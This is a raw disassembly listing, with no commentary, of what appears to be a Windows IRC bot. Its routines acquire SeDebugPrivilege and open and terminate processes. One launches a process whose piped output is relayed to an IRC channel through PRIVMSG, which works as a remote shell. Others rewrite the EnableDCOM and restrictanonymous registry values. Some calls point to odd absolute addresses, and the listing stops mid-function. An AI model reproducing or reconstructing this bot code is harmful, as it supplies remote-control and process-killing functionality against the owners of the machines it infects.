loc_419391: ; CODE XREF: sub_4192DF+EDj
cmp edi, esi
jz short loc_4193D0
push dword ptr [edi]
lea eax, [ebp+var_218]
push offset aS_4 ; " %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_419391
jmp short loc_4193FA
; ---------------------------------------------------------------------------
loc_4193D0: ; CODE XREF: sub_4192DF+B4j
lea eax, [ebp+var_218]
push offset unk_43932C
push eax
call sub_41B886
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 1Ch
loc_4193FA: ; CODE XREF: sub_4192DF+9Ej
; sub_4192DF+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_41940D
push edi
call dword_4CB004
xor edi, edi
mov [ebp+var_4], edi
loc_41940D: ; CODE XREF: sub_4192DF+A5j
; sub_4192DF+120j
cmp [ebp+var_C], 0EAh
jz loc_41931E
cmp edi, esi
jz short loc_419425
push edi
call dword_4CB004
loc_419425: ; CODE XREF: sub_4192DF+13Dj
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_41B886
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_4192DF endp
; =============== S U B R O U T I N E =======================================
sub_41945F proc near ; CODE XREF: sub_418A98+41p
; sub_418C8E+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_419511
jz loc_41950A
cmp eax, 7Bh
ja short loc_4194D6
jz short loc_4194CC
cmp eax, 5
jz short loc_4194C2
cmp eax, 8
jz short loc_4194B8
cmp eax, 32h
jz short loc_4194AE
cmp eax, 35h
jz short loc_4194A4
cmp eax, 57h
jnz loc_419560
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194A4: ; CODE XREF: sub_41945F+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194AE: ; CODE XREF: sub_41945F+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194B8: ; CODE XREF: sub_41945F+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194C2: ; CODE XREF: sub_41945F+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194CC: ; CODE XREF: sub_41945F+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194D6: ; CODE XREF: sub_41945F+1Aj
sub eax, 7Ch
jz short loc_419503
sub eax, 7C8h
jz short loc_4194FC
dec eax
jz short loc_4194F2
dec eax
jnz short loc_419560
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194F2: ; CODE XREF: sub_41945F+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194FC: ; CODE XREF: sub_41945F+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_419503: ; CODE XREF: sub_41945F+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_41950A: ; CODE XREF: sub_41945F+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_419511: ; CODE XREF: sub_41945F+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_41954A
jz short loc_419543
sub eax, 8ADh
jz short loc_419575
dec eax
dec eax
jz short loc_41953C
dec eax
jz short loc_419535
dec eax
dec eax
jnz short loc_419560
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_419535: ; CODE XREF: sub_41945F+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_41953C: ; CODE XREF: sub_41945F+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_419543: ; CODE XREF: sub_41945F+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_41954A: ; CODE XREF: sub_41945F+B9j
sub eax, 8CAh
jz short loc_41957C
sub eax, 17h
jz short loc_419575
sub eax, 25h
jz short loc_41956E
sub eax, 29h
jz short loc_419567
loc_419560: ; CODE XREF: sub_41945F+35j
; sub_41945F+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_419567: ; CODE XREF: sub_41945F+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_41956E: ; CODE XREF: sub_41945F+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_419575: ; CODE XREF: sub_41945F+C2j
; sub_41945F+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_41957C: ; CODE XREF: sub_41945F+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_419581: ; CODE XREF: sub_41945F+40j
; sub_41945F+4Aj ...
push offset dword_4DAB90
call sub_41B886
pop ecx
mov eax, offset dword_4DAB90
pop ecx
retn
sub_41945F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419593 proc near ; CODE XREF: sub_401ACD+4781p
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_41D834
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
call near ptr 26A0000h
nop
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_41D834
lea eax, [ebp+var_718]
push eax
call sub_41D817
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_4CAF84
test eax, eax
jnz short loc_419623
mov esi, offset dword_4DA98C
push offset unk_439694
push esi
call sub_41B886
pop ecx
pop ecx
jmp short loc_41964C
; ---------------------------------------------------------------------------
loc_419623: ; CODE XREF: sub_419593+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_41945F
pop ecx
mov esi, offset dword_4DA98C
push eax
push offset dword_439668
push esi
call sub_41B886
add esp, 14h
loc_41964C: ; CODE XREF: sub_419593+8Ej
mov eax, esi
pop esi
leave
retn
sub_419593 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419651 proc near ; CODE XREF: sub_416F1A+45p
; sub_416F1A+166p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call near ptr 26F0656h
nop
push eax
call dword_4CAF58
test eax, eax
jnz short loc_419670
leave
retn
; ---------------------------------------------------------------------------
loc_419670: ; CODE XREF: sub_419651+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_4CAF30
test eax, eax
jz short loc_4196AE
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_419697
or [ebp+var_8], 2
jmp short loc_41969B
; ---------------------------------------------------------------------------
loc_419697: ; CODE XREF: sub_419651+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_41969B: ; CODE XREF: sub_419651+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_4CAFE0
mov esi, eax
loc_4196AE: ; CODE XREF: sub_419651+32j
push [ebp+var_4]
nop
call near ptr 26408F3h
mov eax, esi
pop esi
leave
retn
sub_419651 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4196BC proc near ; CODE XREF: sub_401ACD+7915p
; sub_4198EB+74p
var_554 = byte ptr -554h
var_354 = dword ptr -354h
var_350 = byte ptr -350h
var_234 = byte ptr -234h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_128 = dword ptr -128h
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 554h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_4CAF94, ebx
lea edi, [ebp+var_12C]
mov [ebp+var_130], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_350]
mov [ebp+var_354], ebx
rep stosd
jz loc_4198BB
cmp dword_4CAF78, ebx
jz loc_4198BB
cmp dword_4CAE88, ebx
jz loc_4198BB
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419651
pop ecx
pop ecx
push ebx
push 0Fh
call dword_4CAF94
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_4198AE
lea eax, [ebp+var_130]
mov [ebp+var_130], 128h
push eax
push edi
call dword_4CAF78
mov esi, dword_427068
test eax, eax
jz loc_4198A9
lea eax, [ebp+var_130]
push eax
push edi
call dword_4CAE88
test eax, eax
jz loc_4198A9
mov edi, dword_427084
mov ebx, 1F0FFFh
loc_419780: ; CODE XREF: sub_4196BC+1E5j
xor eax, eax
cmp [ebp+arg_10], eax
jz short loc_4197E7
mov [ebp+var_4], offset off_4396C0
loc_41978E: ; CODE XREF: sub_4196BC+F3j
mov eax, [ebp+var_4]
push dword ptr [eax]
lea eax, [ebp+var_10C]
push eax
nop
call near ptr 27F107Eh
test eax, eax
jz short loc_4197B6
add [ebp+var_4], 4
cmp [ebp+var_4], offset dword_439720
jb short loc_41978E
jmp loc_41988F
; ---------------------------------------------------------------------------
loc_4197B6: ; CODE XREF: sub_4196BC+E6j
push [ebp+var_128]
push 0
push ebx
call edi
test eax, eax
mov [ebp+var_4], eax
jz loc_41988F
push 0
push eax
nop
call near ptr 26E0B3Dh
test eax, eax
jnz loc_41988F
loc_4197DD: ; CODE XREF: sub_4196BC+1B9j
push [ebp+var_4]
call esi
jmp loc_41988F
; ---------------------------------------------------------------------------
loc_4197E7: ; CODE XREF: sub_4196BC+C9j
cmp [ebp+arg_C], eax
jnz loc_41987A
cmp [ebp+arg_4], eax
jz loc_41988F
push [ebp+var_128]
push 8
call dword_4CAF94
cmp [ebp+arg_14], 0
mov [ebp+var_4], eax
mov [ebp+var_354], 224h
jz short loc_41983A
lea ecx, [ebp+var_354]
push ecx
push eax
call dword_4CAE34
push [ebp+var_128]
test eax, eax
jz short loc_419840
lea eax, [ebp+var_234]
jmp short loc_419846
; ---------------------------------------------------------------------------
loc_41983A: ; CODE XREF: sub_4196BC+15Cj
push [ebp+var_128]
loc_419840: ; CODE XREF: sub_4196BC+174j
lea eax, [ebp+var_10C]
loc_419846: ; CODE XREF: sub_4196BC+17Cj
push eax
lea eax, [ebp+var_554]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp+var_554]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
jmp loc_4197DD
; ---------------------------------------------------------------------------
loc_41987A: ; CODE XREF: sub_4196BC+12Ej
push [ebp+arg_C]
lea eax, [ebp+var_10C]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4198C2
loc_41988F: ; CODE XREF: sub_4196BC+F5j
; sub_4196BC+10Aj ...
lea eax, [ebp+var_130]
push eax
push [ebp+var_8]
call dword_4CAE88
test eax, eax
jnz loc_419780
xor ebx, ebx
loc_4198A9: ; CODE XREF: sub_4196BC+9Dj
; sub_4196BC+B3j
push [ebp+var_8]
call esi
loc_4198AE: ; CODE XREF: sub_4196BC+77j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419651
pop ecx
pop ecx
loc_4198BB: ; CODE XREF: sub_4196BC+3Aj
; sub_4196BC+46j ...
xor eax, eax
loc_4198BD: ; CODE XREF: sub_4196BC+22Dj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4198C2: ; CODE XREF: sub_4196BC+1D1j
push [ebp+var_128]
push 0
push ebx
call edi
push [ebp+var_8]
mov edi, eax
call esi
push 0
push edi
nop
call near ptr 26E0B3Dh
test eax, eax
jnz short loc_4198E6
push edi
call esi
jmp short loc_4198BB
; ---------------------------------------------------------------------------
loc_4198E6: ; CODE XREF: sub_4196BC+223j
push 1
pop eax
jmp short loc_4198BD
sub_4196BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4198EB proc near ; DATA XREF: sub_401ACD+26CDo
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset unk_4398C0
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_41B886
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_41994A
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409A72
add esp, 14h
loc_41994A: ; CODE XREF: sub_4198EB+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_4196BC
add esp, 18h
test eax, eax
jnz short loc_419972
push offset unk_43989C
jmp short loc_419977
; ---------------------------------------------------------------------------
loc_419972: ; CODE XREF: sub_4198EB+7Ej
push offset unk_439878
loc_419977: ; CODE XREF: sub_4198EB+85j
lea eax, [ebp+var_298]
push eax
call sub_41B886
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_4199AA
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409A72
add esp, 14h
loc_4199AA: ; CODE XREF: sub_4198EB+9Dj
lea eax, [ebp+var_298]
push eax
call sub_4151AC
push [ebp+var_14]
call sub_40B412
pop ecx
pop ecx
push esi
nop
call near ptr 26C0000h
pop edi
pop esi
sub_4198EB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4199C9 proc near ; CODE XREF: sub_401ACD+78B3p
; sub_40B231+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
nop
call near ptr 2660377h
mov esi, eax
test esi, esi
jz short loc_4199FB
push 0
push esi
nop
call near ptr 26E0B3Dh
test eax, eax
jnz short loc_4199FB
push esi
xor edi, edi
call near ptr 26408F3h
nop
loc_4199FB: ; CODE XREF: sub_4199C9+1Aj
; sub_4199C9+27j
mov eax, edi
pop edi
pop esi
retn
sub_4199C9 endp
; ---------------------------------------------------------------------------
dword_419A00 dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh, 35FF18C4h
; DATA XREF: ___:004015EEo
dd 4396BCh, 237426E8h, 0E3EB9002h
; =============== S U B R O U T I N E =======================================
sub_419A20 proc near ; CODE XREF: sub_419A50+2Ap
; sub_419A88+7Ep ...
mov eax, dword_4DB1F8
push esi
mov esi, dword_427068
cmp eax, 0FFFFFFFFh
jz short loc_419A34
push eax
call esi
loc_419A34: ; CODE XREF: sub_419A20+Fj
mov eax, dword_4DB200
cmp eax, 0FFFFFFFFh
jz short loc_419A41
push eax
call esi
loc_419A41: ; CODE XREF: sub_419A20+1Cj
mov eax, dword_4DB1F4
cmp eax, 0FFFFFFFFh
jz short loc_419A4E
push eax
call esi
loc_419A4E: ; CODE XREF: sub_419A20+29j
pop esi
retn
sub_419A20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419A50 proc near ; CODE XREF: sub_401ACD+7604p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_41AFE0
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_4DB1FC
nop
call near ptr 26D0000h
test eax, eax
jnz short loc_419A83
call sub_419A20
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_419A83: ; CODE XREF: sub_419A50+28j
push 1
pop eax
leave
retn
sub_419A50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419A88 proc near ; CODE XREF: sub_419B0F+D3p
; sub_419B0F+F2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset dword_43D128
push [ebp+arg_4]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_419ACB
push 7D0h
nop
call near ptr 2650E43h
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_41B886
add esp, 10h
jmp short loc_419AE2
; ---------------------------------------------------------------------------
loc_419ACB: ; CODE XREF: sub_419A88+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_1 ; "%s"
push eax
call sub_41B886
add esp, 0Ch
loc_419AE2: ; CODE XREF: sub_419A88+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CAFC4
test eax, eax
jg short loc_419B0B
call sub_419A20
loc_419B0B: ; CODE XREF: sub_419A88+7Cj
xor eax, eax
leave
retn
sub_419A88 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419B0F proc near ; DATA XREF: sub_419C64+170o
var_20C = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_4DB204
loc_419B27: ; CODE XREF: sub_419B0F+79j
; sub_419B0F+DBj
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_20C]
push esi
push eax
push dword_4DB1F8
nop
call near ptr 27F19AFh
test eax, eax
jz loc_419BF5
cmp [ebp+var_4], edi
jnz short loc_419B8A
lea eax, [ebp+var_8]
push eax
push dword_4DB1F4
nop
call near ptr 27F14F6h
test eax, eax
jz short loc_419B80
cmp [ebp+var_8], 103h
jnz loc_419C19
loc_419B80: ; CODE XREF: sub_419B0F+62j
push 0Ah
call near ptr 2650E43h
nop
jmp short loc_419B27
; ---------------------------------------------------------------------------
loc_419B8A: ; CODE XREF: sub_419B0F+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_419BA1
loc_419B91: ; CODE XREF: sub_419B0F+90j
cmp [ebp+eax+var_20C], 0Ah
jz short loc_419BEF
inc eax
cmp eax, [ebp+var_4]
jb short loc_419B91
loc_419BA1: ; CODE XREF: sub_419B0F+80j
mov [ebp+var_4], esi
loc_419BA4: ; CODE XREF: sub_419B0F+E4j
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_20C]
push eax
push dword_4DB1F8
nop
call near ptr 26E0000h
test eax, eax
jz short loc_419C41
lea eax, [ebp+var_20C]
push eax
push ebx
push dword_4DB238
call sub_419A88
add esp, 0Ch
jmp loc_419B27
; ---------------------------------------------------------------------------
loc_419BEF: ; CODE XREF: sub_419B0F+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_419BA4
; ---------------------------------------------------------------------------
loc_419BF5: ; CODE XREF: sub_419B0F+45j
push offset unk_439948
push ebx
push dword_4DB238
call sub_419A88
push [ebp+arg_0]
call sub_40B412
add esp, 10h
push 1
call near ptr 26C0000h
nop
loc_419C19: ; CODE XREF: sub_419B0F+6Bj
call sub_419A20
push offset unk_439920
push ebx
push dword_4DB238
call sub_419A88
push [ebp+arg_0]
call sub_40B412
add esp, 10h
push edi
nop
call near ptr 26C0000h
loc_419C41: ; CODE XREF: sub_419B0F+C3j
push offset unk_4398F0
push ebx
push dword_4DB238
call sub_419A88
push [ebp+arg_0]
call sub_40B412
add esp, 10h
push edi
call near ptr 26C0000h
nop
sub_419B0F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419C64 proc near ; CODE XREF: sub_401ACD+2507p
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call sub_419A20
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset dword_43350C
push esi
call dword_4CB030
test eax, eax
jz loc_419D5E
push 1
lea eax, [ebp+var_1C]
pop ebx
mov edi, dword_4270FC
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi
test eax, eax
jz loc_419D5E
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi
test eax, eax
jz loc_419D5E
mov edi, dword_4270F8
push 3
push esi
push esi
push offset dword_4DB1FC
call edi
push eax
push [ebp+var_8]
call edi
push eax
nop
call near ptr 26F0000h
test eax, eax
jz short loc_419D5E
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_41B590
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_41B590
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset dword_43D128
push esi
lea eax, [ebp+var_178]
push ebx
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call near ptr 2640BCCh
nop
test eax, eax
jnz short loc_419D66
loc_419D5E: ; CODE XREF: sub_419C64+2Fj
; sub_419C64+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_419E14
; ---------------------------------------------------------------------------
loc_419D66: ; CODE XREF: sub_419C64+F8j
push [ebp+var_4]
mov edi, dword_427068
call edi
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_4DB1F8, eax
mov eax, [ebp+var_8]
mov dword_4DB200, eax
mov eax, [ebp+var_2C]
mov dword_4DB1F4, eax
call edi
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_4DB238, eax
jz short loc_419DA0
push [ebp+arg_4]
jmp short loc_419DA1
; ---------------------------------------------------------------------------
loc_419DA0: ; CODE XREF: sub_419C64+135j
push ebx
loc_419DA1: ; CODE XREF: sub_419C64+13Aj
push offset dword_4DB204
call sub_41B886
pop ecx
pop ecx
push esi
push 0Ah
push offset unk_4399AC
call sub_40B0F6
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_43DEB8[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_419B0F
push esi
push esi
nop
call near ptr 2660000h
cmp eax, esi
mov dword_43DEC4[edi], eax
jnz short loc_419E12
nop
call near ptr 2660A00h
push eax
lea eax, [ebp+var_378]
push offset unk_439978
push eax
call sub_41B886
lea eax, [ebp+var_378]
push eax
call sub_4151AC
add esp, 10h
loc_419E12: ; CODE XREF: sub_419C64+185j
xor eax, eax
loc_419E14: ; CODE XREF: sub_419C64+FDj
pop edi
pop esi
pop ebx
leave
retn
sub_419C64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E19 proc near ; DATA XREF: sub_401ACD+2E0Bo
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_419E60
call sub_419E79
jmp short loc_419E65
; ---------------------------------------------------------------------------
loc_419E60: ; CODE XREF: sub_419E19+3Ej
call sub_41A19D
loc_419E65: ; CODE XREF: sub_419E19+45j
add esp, 10h
push [ebp+var_14]
call sub_40B412
pop ecx
push 0
nop
call near ptr 26C0000h
sub_419E19 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E79 proc near ; CODE XREF: sub_419E19+40p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_4CB044, edi
jnz loc_419FAB
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CAFE4
test eax, eax
jnz short loc_419F04
mov ax, word_438724
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CAF98
test eax, eax
jz short loc_419EE6
push offset dword_439C48
jmp short loc_419EEB
; ---------------------------------------------------------------------------
loc_419EE6: ; CODE XREF: sub_419E79+64j
push offset dword_439C28
loc_419EEB: ; CODE XREF: sub_419E79+6Bj
lea eax, [ebp+var_214]
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CAF50
jmp short loc_419F17
; ---------------------------------------------------------------------------
loc_419F04: ; CODE XREF: sub_419E79+36j
lea eax, [ebp+var_214]
push offset dword_439BF8
push eax
call sub_41B886
pop ecx
pop ecx
loc_419F17: ; CODE XREF: sub_419E79+89j
cmp [ebp+arg_C], edi
jnz short loc_419F36
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_419F36: ; CODE XREF: sub_419E79+A1j
lea eax, [ebp+var_214]
push eax
call sub_4151AC
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CAFE4
test eax, eax
jnz short loc_419FA4
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_4CAF98
test eax, eax
jz short loc_419F86
push offset dword_439BA8
jmp short loc_419F8B
; ---------------------------------------------------------------------------
loc_419F86: ; CODE XREF: sub_419E79+104j
push offset dword_439B74
loc_419F8B: ; CODE XREF: sub_419E79+10Bj
lea eax, [ebp+var_214]
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CAF50
jmp short loc_419FBE
; ---------------------------------------------------------------------------
loc_419FA4: ; CODE XREF: sub_419E79+E2j
push offset dword_439B38
jmp short loc_419FB0
; ---------------------------------------------------------------------------
loc_419FAB: ; CODE XREF: sub_419E79+13j
push offset dword_439B08
